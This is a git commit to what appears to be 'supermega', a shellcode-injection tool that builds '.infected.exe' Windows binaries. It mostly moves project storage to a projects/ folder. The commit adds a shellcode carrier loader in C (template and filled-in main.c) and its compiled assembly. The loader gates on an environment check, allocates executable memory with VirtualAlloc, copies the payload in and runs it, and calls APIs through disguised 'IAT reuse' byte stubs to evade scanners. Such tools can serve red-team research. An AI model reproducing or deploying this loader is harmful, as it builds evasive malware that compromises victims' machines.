refactor: move working directory to projects/ for web

This commit is contained in:
Dobin
2024-03-29 19:18:57 +00:00
parent a6dbbe69ac
commit 70eb0bf798
16 changed files with 468 additions and 50 deletions
+1
View File
@@ -10,3 +10,4 @@ data/source/payload/
log-* log-*
*.verify.exe *.verify.exe
*.infected.exe *.infected.exe
projects/*
+31 -24
View File
@@ -1,50 +1,57 @@
import pickle import pickle
import os import os
import yaml import yaml
import pickle
from typing import List, Tuple from typing import List, Tuple
from model.settings import Settings from model.settings import Settings
from model.defs import * from model.defs import *
class Project():
class WebProject():
def __init__(self, name: str, settings: Settings): def __init__(self, name: str, settings: Settings):
self.name = name self.name = name
self.settings: Settings = settings self.settings: Settings = settings
self.comment: str = ""
class Storage(): class Storage():
def __init__(self): def __init__(self):
self.data: List[Project] = self.get_data() pass
def get_project(self, name: str) -> Project:
for project in self.data: def get_projects(self) -> List[WebProject]:
if project.name == name: projects: List[WebProject] = []
return project for project_name in os.listdir(PATH_WEB_PROJECT):
project = self.get_project(project_name)
if project is None:
continue
project.settings.prep_web(project_name)
projects.append(project)
return projects
def get_project(self, project_name: str) -> WebProject:
path = "{}/{}".format(PATH_WEB_PROJECT, project_name)
json_path = "{}/project.pickle".format(path)
if not os.path.exists(json_path):
return None return None
with open(json_path, "rb") as f:
project = pickle.load(f)
project.settings.prep_web(project_name)
return project
def add_project(self, project: Project):
# data
self.data.append(project)
self.save_data()
def add_project(self, project: WebProject):
# directories and contents # directories and contents
os.makedirs(PATH_WEB_PROJECT + project.name, exist_ok=True) os.makedirs(PATH_WEB_PROJECT + project.name, exist_ok=True)
with open("{}/{}/settings.yaml".format(PATH_WEB_PROJECT, project.name), "w") as f: with open("{}/{}/project.pickle".format(PATH_WEB_PROJECT, project.name), "wb") as f:
f.write(yaml.dump(project.settings)) pickle.dump(project, f)
def get_data(self) -> List[Project]:
# if file does not exist, create an empty one
if not os.path.exists("app/data.pickle"):
with open("app/data.pickle", "wb") as f:
f.write(pickle.dumps([]))
with open("app/data.pickle", "rb") as f: def save_project(self, project: WebProject):
data_raw = f.read() with open("{}/{}/project.pickle".format(PATH_WEB_PROJECT, project.name), "wb") as f:
data: List[Project] = pickle.loads(data_raw) pickle.dump(project, f)
return data
def save_data(self):
with open("app/data.pickle", "wb") as f:
f.write(pickle.dumps(self.data))
storage = Storage() storage = Storage()
+2 -2
View File
@@ -11,8 +11,8 @@
<h1> Projects </h1> <h1> Projects </h1>
<ul> <ul>
{% for item in data %} {% for project in projects %}
<li><a href="/project/{{item.name}}">{{ item.name }}</a></li> <li><a href="/project/{{project.name}}">{{ project.name }}</a></li>
{% endfor %} {% endfor %}
</ul> </ul>
+27 -13
View File
@@ -19,7 +19,7 @@ from config import config
from model.settings import Settings from model.settings import Settings
from model.defs import * from model.defs import *
from supermega import start from supermega import start
from app.storage import storage, Project from app.storage import storage, WebProject
from sender import scannerDetectsBytes from sender import scannerDetectsBytes
from phases.injector import verify_injected_exe from phases.injector import verify_injected_exe
from phases.compiler import compile_dev from phases.compiler import compile_dev
@@ -38,12 +38,13 @@ logger = logging.getLogger("Views")
@views.route("/") @views.route("/")
def index(): def index():
return render_template('index.html', data=storage.data) return render_template('index.html')
@views.route("/projects") @views.route("/projects")
def projects_route(): def projects_route():
return render_template('projects.html', data=storage.data) projects = storage.get_projects()
return render_template('projects.html', projects=projects)
@views.route("/shcdev") @views.route("/shcdev")
@@ -124,7 +125,6 @@ def dev_build_route(name):
@views.route("/project/<name>") @views.route("/project/<name>")
def project(name): def project(name):
project = storage.get_project(name) project = storage.get_project(name)
project.settings.prep()
log_files = get_logfiles(project.settings.main_dir) log_files = get_logfiles(project.settings.main_dir)
exes = [] exes = []
@@ -169,6 +169,8 @@ def add_project():
if request.form['shellcode'] == "createfile.bin": if request.form['shellcode'] == "createfile.bin":
settings.verify = True settings.verify = True
settings.try_start_final_infected_exe = False settings.try_start_final_infected_exe = False
else:
settings.cleanup_files_on_exit = False
settings.inject_exe_in = PATH_EXES + request.form['exe'] settings.inject_exe_in = PATH_EXES + request.form['exe']
settings.inject_exe_out = PATH_EXES + request.form['exe'].replace(".exe", ".infected.exe") settings.inject_exe_out = PATH_EXES + request.form['exe'].replace(".exe", ".infected.exe")
@@ -193,16 +195,13 @@ def add_project():
project = storage.get_project(project_name) project = storage.get_project(project_name)
project.settings = settings project.settings = settings
project.comment = comment project.comment = comment
storage.save_project(project)
else: else:
# add new project # add new project
project = Project(project_name, settings) project = WebProject(project_name, settings)
project.project_dir = PATH_WEB_PROJECT + "{}".format(project_name)
project.project_exe = request.form['exe'].replace(".exe", ".infected.exe")
project.settings = settings
settings.project_name = project_name
project.comment = comment project.comment = comment
storage.add_project(project) storage.add_project(project)
storage.save_data()
return redirect("/project/{}".format(project_name), code=302) return redirect("/project/{}".format(project_name), code=302)
else: # GET else: # GET
@@ -231,9 +230,9 @@ def add_project():
) )
def supermega_thread(project: Project): def supermega_thread(settings: Settings):
global thread_running global thread_running
start(project.settings) start(settings)
thread_running = False thread_running = False
@@ -244,7 +243,22 @@ def build_project(project_name):
project = storage.get_project(project_name) project = storage.get_project(project_name)
project.settings.try_start_final_infected_exe = False project.settings.try_start_final_infected_exe = False
thread = Thread(target=supermega_thread, args=(project, )) src = "{}{}/".format(PATH_CARRIER, project.settings.source_style.value)
dst = "{}{}/".format(PATH_WEB_PROJECT, project_name)
# delete all files in dst directory
for file in os.listdir(dst):
if file == "project.pickle":
continue
os.remove(dst + file)
# copy *.c *.h files from src directory to dst directory
for file in os.listdir(src):
if file.endswith(".c") or file.endswith(".h"):
logger.info("Copy {} to {}".format(src + file, dst))
shutil.copy2(src + file, dst)
thread = Thread(target=supermega_thread, args=(project.settings, ))
thread.start() thread.start()
thread_running = True thread_running = True
+8 -3
View File
@@ -13,15 +13,20 @@ logger = logging.getLogger("Helper")
SHC_VERIFY_SLEEP = 0.1 SHC_VERIFY_SLEEP = 0.1
def clean_files(settings): def clean_tmp_files():
logger.info("--( Remove old files")
files_to_clean = [ files_to_clean = [
# compile artefacts in current working dir # compile artefacts in current working dir
"main-clean.obj", "main-clean.obj",
"main.obj", "main.obj",
"mllink$.lnk", "mllink$.lnk",
]
for file in files_to_clean:
pathlib.Path(file).unlink(missing_ok=True)
def clean_files(settings):
logger.info("--( Remove old files")
files_to_clean = [
# temporary files # temporary files
settings.main_c_path, settings.main_c_path,
settings.main_asm_path, settings.main_asm_path,
+2 -1
View File
@@ -10,12 +10,13 @@ VerifyFilename: FilePath = r'C:\Temp\a'
# Directory structure # Directory structure
PATH_EXES = "data/binary/exes/" PATH_EXES = "data/binary/exes/"
PATH_SHELLCODES = "data/binary/shellcodes/" PATH_SHELLCODES = "data/binary/shellcodes/"
PATH_CARRIER = "data/source/carrier/"
PATH_PEB_WALK = "data/source/carrier/peb_walk/" PATH_PEB_WALK = "data/source/carrier/peb_walk/"
PATH_IAT_REUSE = "data/source/carrier/iat_reuse/" PATH_IAT_REUSE = "data/source/carrier/iat_reuse/"
PATH_PAYLOAD = "data/source/payload/" PATH_PAYLOAD = "data/source/payload/"
PATH_DECODER = "data/source/carrier/decoder/" PATH_DECODER = "data/source/carrier/decoder/"
PATH_WEB_PROJECT = "app/projects/" # web only PATH_WEB_PROJECT = "projects/"
# Correlated with real template files # Correlated with real template files
+13 -3
View File
@@ -2,7 +2,7 @@ from model.defs import *
class Settings(): class Settings():
def __init__(self): def __init__(self, web=""):
self.payload_path: FilePath = "" self.payload_path: FilePath = ""
# Settings # Settings
@@ -29,10 +29,20 @@ class Settings():
def prep(self): def prep(self):
self.main_dir = "data/source/carrier/" + self.source_style.value + "/" self.main_dir = "{}{}/".format(PATH_CARRIER, self.source_style.value)
self.template_path = self.main_dir + "template.c" self.template_path = self.main_dir + "template.c"
self.main_c_path = self.main_dir + "main.c" self.main_c_path = self.main_dir + "main.c"
self.main_asm_path = self.main_dir + "main.asm" self.main_asm_path = self.main_dir + "main.asm"
self.main_exe_path = self.main_dir + "main.exe" self.main_exe_path = self.main_dir + "main.exe"
self.main_shc_path = self.main_dir + "main.bin" self.main_shc_path = self.main_dir + "main.bin"
def prep_web(self, project_name):
self.main_dir = "{}{}/".format(PATH_WEB_PROJECT, project_name)
self.template_path = self.main_dir + "template.c"
self.main_c_path = self.main_dir + "main.c"
self.main_asm_path = self.main_dir + "main.asm"
self.main_exe_path = self.main_dir + "main.exe"
self.main_shc_path = self.main_dir + "main.bin"
self.inject_exe_out = "{}{}".format(
self.main_dir, os.path.basename(self.inject_exe_in).replace(".exe", ".infected.exe"))
+1
View File
@@ -16,6 +16,7 @@ class Observer():
def reset(self): def reset(self):
self.cmd_output = [] self.cmd_output = []
self.logs = [] self.logs = []
self.files = []
self.idx = 0 self.idx = 0
View File
+246
View File
@@ -0,0 +1,246 @@
; Listing generated by Microsoft (R) Optimizing Compiler Version 19.37.32822.0
include listing.inc
; INCLUDELIB LIBCMT
; INCLUDELIB OLDNAMES
_DATA SEGMENT
COMM supermega_payload:QWORD
_DATA ENDS
PUBLIC get_time_raw
PUBLIC sleep_ms
PUBLIC main
PUBLIC mystrcmp
; EXTRN __imp_GetEnvironmentVariableW:PROC
; EXTRN __imp_VirtualAlloc:PROC
_DATA SEGMENT
$SG72751 DB 'U', 00H, 'S', 00H, 'E', 00H, 'R', 00H, 'P', 00H, 'R', 00H
DB 'O', 00H, 'F', 00H, 'I', 00H, 'L', 00H, 'E', 00H, 00H, 00H
$SG72752 DB 'C', 00H, ':', 00H, '\', 00H, 'U', 00H, 's', 00H, 'e', 00H
DB 'r', 00H, 's', 00H, '\', 00H, 'h', 00H, 'a', 00H, 'c', 00H, 'k'
DB 00H, 'e', 00H, 'r', 00H, 00H, 00H
_DATA ENDS
PUBLIC AlignRSP
_TEXT SEGMENT
AlignRSP PROC
and rsp, 0FFFFFFFFFFFFFFF0h ; Align RSP to 16 bytes
call main ; Call the entry point of the payload
AlignRSP ENDP
_TEXT ENDS
_TEXT SEGMENT
i$ = 0
str1$ = 32
str2$ = 40
mystrcmp PROC
; File C:\Users\hacker\source\repos\supermega\projects\Verify_1\main.c
; Line 58
$LN6:
mov QWORD PTR [rsp+16], rdx
mov QWORD PTR [rsp+8], rcx
sub rsp, 24
; Line 59
mov DWORD PTR i$[rsp], 0
$LN2@mystrcmp:
; Line 60
movsxd rax, DWORD PTR i$[rsp]
mov rcx, QWORD PTR str1$[rsp]
movzx eax, WORD PTR [rcx+rax*2]
test eax, eax
je SHORT $LN3@mystrcmp
movsxd rax, DWORD PTR i$[rsp]
mov rcx, QWORD PTR str2$[rsp]
movzx eax, WORD PTR [rcx+rax*2]
test eax, eax
je SHORT $LN3@mystrcmp
; Line 61
movsxd rax, DWORD PTR i$[rsp]
mov rcx, QWORD PTR str1$[rsp]
movzx eax, WORD PTR [rcx+rax*2]
movsxd rcx, DWORD PTR i$[rsp]
mov rdx, QWORD PTR str2$[rsp]
movzx ecx, WORD PTR [rdx+rcx*2]
cmp eax, ecx
je SHORT $LN4@mystrcmp
; Line 62
mov eax, 1
jmp SHORT $LN1@mystrcmp
$LN4@mystrcmp:
; Line 64
mov eax, DWORD PTR i$[rsp]
inc eax
mov DWORD PTR i$[rsp], eax
; Line 65
jmp SHORT $LN2@mystrcmp
$LN3@mystrcmp:
; Line 66
xor eax, eax
$LN1@mystrcmp:
; Line 67
add rsp, 24
ret 0
mystrcmp ENDP
_TEXT ENDS
; Function compile flags: /Odtp
_TEXT SEGMENT
n$1 = 32
result$ = 36
dest$ = 40
envVarName$ = 48
tocheck$ = 72
buffer$ = 112
main PROC
; File C:\Users\hacker\source\repos\supermega\projects\Verify_1\main.c
; Line 23
$LN8:
push rsi
push rdi
sub rsp, 2168 ; 00000878H
; Line 29
lea rax, QWORD PTR envVarName$[rsp]
DB 024H, 0d1H, 0b7H, 05aH, 004H, 04cH, 020H ; .rdata Reuse for $SG72751 (rcx)
mov rdi, rax
mov rsi, rcx
mov ecx, 24
rep movsb
; Line 30
lea rax, QWORD PTR tocheck$[rsp]
DB 01cH, 088H, 026H, 0deH, 0f0H, 0d2H, 0d4H ; .rdata Reuse for $SG72752 (rcx)
mov rdi, rax
mov rsi, rcx
mov ecx, 32 ; 00000020H
rep movsb
; Line 32
mov r8d, 1024 ; 00000400H
lea rdx, QWORD PTR buffer$[rsp]
lea rcx, QWORD PTR envVarName$[rsp]
DB 06fH, 0c8H, 0f2H, 0e0H, 041H, 089H ; IAT Reuse for GetEnvironmentVariableW
mov DWORD PTR result$[rsp], eax
; Line 33
cmp DWORD PTR result$[rsp], 0
jne SHORT $LN5@main
; Line 34
mov eax, 6
jmp SHORT $LN1@main
$LN5@main:
; Line 36
lea rdx, QWORD PTR tocheck$[rsp]
lea rcx, QWORD PTR buffer$[rsp]
call mystrcmp
test eax, eax
je SHORT $LN6@main
; Line 37
mov eax, 6
jmp SHORT $LN1@main
$LN6@main:
; Line 42
mov r9d, 64 ; 00000040H
mov r8d, 12288 ; 00003000H
mov edx, 272 ; 00000110H
xor ecx, ecx
DB 078H, 00eH, 02fH, 0edH, 0fbH, 0c4H ; IAT Reuse for VirtualAlloc
mov QWORD PTR dest$[rsp], rax
; Line 47
mov DWORD PTR n$1[rsp], 0
jmp SHORT $LN4@main
$LN2@main:
mov eax, DWORD PTR n$1[rsp]
inc eax
mov DWORD PTR n$1[rsp], eax
$LN4@main:
cmp DWORD PTR n$1[rsp], 272 ; 00000110H
jge SHORT $LN3@main
; Line 48
movsxd rax, DWORD PTR n$1[rsp]
movsxd rcx, DWORD PTR n$1[rsp]
mov rdx, QWORD PTR dest$[rsp]
lea rdi, [shcstart] ; get payload shellcode address
movzx eax, BYTE PTR [rdi+rax]
mov BYTE PTR [rdx+rcx], al
; Line 49
jmp SHORT $LN2@main
$LN3@main:
; Line 53
call QWORD PTR dest$[rsp]
; Line 55
xor eax, eax
$LN1@main:
; Line 56
add rsp, 2168 ; 00000878H
pop rdi
pop rsi
ret 0
main ENDP
_TEXT ENDS
; Function compile flags: /Odtp
_TEXT SEGMENT
start$ = 32
sleeptime$ = 64
sleep_ms PROC
; File C:\Users\hacker\source\repos\supermega\projects\Verify_1\main.c
; Line 17
$LN5:
mov DWORD PTR [rsp+8], ecx
sub rsp, 56 ; 00000038H
; Line 18
call get_time_raw
mov DWORD PTR start$[rsp], eax
$LN2@sleep_ms:
; Line 19
call get_time_raw
sub eax, DWORD PTR start$[rsp]
cmp eax, DWORD PTR sleeptime$[rsp]
jae SHORT $LN3@sleep_ms
jmp SHORT $LN2@sleep_ms
$LN3@sleep_ms:
; Line 20
add rsp, 56 ; 00000038H
ret 0
sleep_ms ENDP
_TEXT ENDS
; Function compile flags: /Odtp
_TEXT SEGMENT
kernelTime$ = 0
PUserSharedData_TickCountMultiplier$ = 8
PUserSharedData_High1Time$ = 16
PUserSharedData_LowPart$ = 24
get_time_raw PROC
; File C:\Users\hacker\source\repos\supermega\projects\Verify_1\main.c
; Line 7
$LN3:
sub rsp, 40 ; 00000028H
; Line 8
mov QWORD PTR PUserSharedData_TickCountMultiplier$[rsp], 2147352580 ; 7ffe0004H
; Line 9
mov QWORD PTR PUserSharedData_High1Time$[rsp], 2147353380 ; 7ffe0324H
; Line 10
mov QWORD PTR PUserSharedData_LowPart$[rsp], 2147353376 ; 7ffe0320H
; Line 11
mov rax, QWORD PTR PUserSharedData_High1Time$[rsp]
mov eax, DWORD PTR [rax]
shl eax, 8
mov rcx, QWORD PTR PUserSharedData_TickCountMultiplier$[rsp]
mov ecx, DWORD PTR [rcx]
imul ecx, eax
mov eax, ecx
mov eax, eax
mov rcx, QWORD PTR PUserSharedData_LowPart$[rsp]
mov ecx, DWORD PTR [rcx]
mov rdx, QWORD PTR PUserSharedData_TickCountMultiplier$[rsp]
mov edx, DWORD PTR [rdx]
imul rcx, rdx
shr rcx, 24
add rax, rcx
mov DWORD PTR kernelTime$[rsp], eax
; Line 13
mov eax, DWORD PTR kernelTime$[rsp]
; Line 14
add rsp, 40 ; 00000028H
ret 0
get_time_raw ENDP
shcstart: ; start of payload shellcode
_TEXT ENDS
END
Binary file not shown.
+67
View File
@@ -0,0 +1,67 @@
#include <Windows.h>
#include <time.h>
char *supermega_payload;
int get_time_raw() {
ULONG* PUserSharedData_TickCountMultiplier = (PULONG)0x7ffe0004;
LONG* PUserSharedData_High1Time = (PLONG)0x7ffe0324;
ULONG* PUserSharedData_LowPart = (PULONG)0x7ffe0320;
DWORD kernelTime = (*PUserSharedData_TickCountMultiplier) * (*PUserSharedData_High1Time << 8) +
((*PUserSharedData_LowPart) * (unsigned __int64)(*PUserSharedData_TickCountMultiplier) >> 24);
return kernelTime;
}
int sleep_ms(DWORD sleeptime) {
DWORD start = get_time_raw();
while (get_time_raw() - start < sleeptime) {}
}
int main()
{
//sleep_ms(10000);
// Execution Guardrail: Env Check
//wchar_t envVarName[] = {'U','S','E','R','P','R','O','F','I','L','E', 0};
//wchar_t tocheck[] = {'C',':','\\','U','s','e','r','s','\\','h','a','c','k','e','r', 0}; // L"C:\\Users\\hacker"
wchar_t envVarName[] = L"USERPROFILE";
wchar_t tocheck[] = L"C:\\Users\\hacker";
WCHAR buffer[1024]; // NOTE: Do not make it bigger, or we have a __chkstack() dependency!
DWORD result = ((DWORD(WINAPI*)(LPCWSTR, LPWSTR, DWORD))GetEnvironmentVariableW)(envVarName, buffer, 1024);
if (result == 0) {
return 6;
}
if (mystrcmp(buffer, tocheck) != 0) {
return 6;
}
// Allocate 1
// char *dest = ...
char *dest = VirtualAlloc(NULL, 272, 0x3000, 0x40);
// Copy (and decode)
// from: supermega_payload[]
// to: dest[]
for (int n=0; n<272; n++) {
dest[n] = supermega_payload[n];
}
// Execute *dest
(*(void(*)())(dest))();
return 0;
}
int mystrcmp(wchar_t* str1, wchar_t* str2) {
int i = 0;
while (str1[i] != L'\0' && str2[i] != L'\0') {
if (str1[i] != str2[i]) {
return 1;
}
i++;
}
return 0;
}
Binary file not shown.
Binary file not shown.
+65
View File
@@ -0,0 +1,65 @@
#include <Windows.h>
#include <time.h>
char *supermega_payload;
int get_time_raw() {
ULONG* PUserSharedData_TickCountMultiplier = (PULONG)0x7ffe0004;
LONG* PUserSharedData_High1Time = (PLONG)0x7ffe0324;
ULONG* PUserSharedData_LowPart = (PULONG)0x7ffe0320;
DWORD kernelTime = (*PUserSharedData_TickCountMultiplier) * (*PUserSharedData_High1Time << 8) +
((*PUserSharedData_LowPart) * (unsigned __int64)(*PUserSharedData_TickCountMultiplier) >> 24);
return kernelTime;
}
int sleep_ms(DWORD sleeptime) {
DWORD start = get_time_raw();
while (get_time_raw() - start < sleeptime) {}
}
int main()
{
//sleep_ms(10000);
// Execution Guardrail: Env Check
//wchar_t envVarName[] = {'U','S','E','R','P','R','O','F','I','L','E', 0};
//wchar_t tocheck[] = {'C',':','\\','U','s','e','r','s','\\','h','a','c','k','e','r', 0}; // L"C:\\Users\\hacker"
wchar_t envVarName[] = L"USERPROFILE";
wchar_t tocheck[] = L"C:\\Users\\hacker";
WCHAR buffer[1024]; // NOTE: Do not make it bigger, or we have a __chkstack() dependency!
DWORD result = ((DWORD(WINAPI*)(LPCWSTR, LPWSTR, DWORD))GetEnvironmentVariableW)(envVarName, buffer, 1024);
if (result == 0) {
return 6;
}
if (mystrcmp(buffer, tocheck) != 0) {
return 6;
}
// Allocate 1
// char *dest = ...
char *dest = VirtualAlloc(NULL, {{PAYLOAD_LEN}}, 0x3000, 0x40);
// Copy (and decode)
// from: supermega_payload[]
// to: dest[]
{{ plugin_decoder }}
// Execute *dest
(*(void(*)())(dest))();
return 0;
}
int mystrcmp(wchar_t* str1, wchar_t* str2) {
int i = 0;
while (str1[i] != L'\0' && str2[i] != L'\0') {
if (str1[i] != str2[i]) {
return 1;
}
i++;
}
return 0;
}
+4 -3
View File
@@ -96,6 +96,7 @@ def main():
settings.inject_exe_in = args.inject settings.inject_exe_in = args.inject
settings.inject_exe_out = args.inject.replace(".exe", ".infected.exe") settings.inject_exe_out = args.inject.replace(".exe", ".infected.exe")
settings.prep()
exit_code = start(settings) exit_code = start(settings)
exit(exit_code) exit(exit_code)
@@ -103,16 +104,15 @@ def main():
def start(settings: Settings) -> int: def start(settings: Settings) -> int:
"""Main entry point for the application. Will handle log files and cleanup""" """Main entry point for the application. Will handle log files and cleanup"""
settings.prep()
# Delete: all old files # Delete: all old files
clean_tmp_files()
if settings.cleanup_files_on_start: if settings.cleanup_files_on_start:
clean_files(settings) clean_files(settings)
# And logs # And logs
observer.reset() observer.reset()
# Do the thing and catch errors # Do the thing and catch the errors
try: try:
start_real(settings) start_real(settings)
except Exception as e: except Exception as e:
@@ -121,6 +121,7 @@ def start(settings: Settings) -> int:
return 1 return 1
# Cleanup files # Cleanup files
clean_tmp_files()
if settings.cleanup_files_on_exit: if settings.cleanup_files_on_exit:
clean_files(settings) clean_files(settings)